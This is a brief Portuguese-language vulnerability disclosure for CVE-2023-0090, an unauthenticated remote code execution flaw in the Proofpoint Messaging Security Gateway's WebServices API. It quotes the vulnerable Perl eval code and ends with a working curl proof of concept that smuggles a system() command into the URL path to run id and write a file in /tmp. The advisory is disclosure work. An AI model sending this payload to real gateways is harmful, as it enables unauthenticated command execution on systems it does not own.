
Proofpoint Email Gateway: RCE não autenticado
Pesquisador de segurança: ly1g3, ly1g3[at]tuta.io
Impressão digital GPG: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Visão geral: Execução Remota de Código - RCE não autenticado
CVE: CVE-2023-0090
Linha do tempo:
Exploits para Proofpoint Messaging Security Gateway
Com acesso à API WebServices, é possível obter RCE não autenticado com privilégios de administrador.
O Webservices.pm não sanitiza nem verifica a entrada do usuário. Nenhuma autenticação é necessária para alcançar a função, mas o acesso à API deve estar habilitado nas configurações para ser possível executar RCE. O $module vem diretamente de dados do usuário e é avaliado.
my $module = (split(/\//,$uri))[1];
$module = SERVICE_MODULE_PREFIX() . "::\u$module";
...
eval("require $module");
Criará um arquivo chamado abc em /tmp/. O código é executado como usuário pps.
curl -k -vv "https://192.168.80.80:10010/ws/abc%2bsystem(%60id%20>%20\\\$\{SHELL:0:1\}tmp\\\$\{SHELL:0:1\}abc%60)"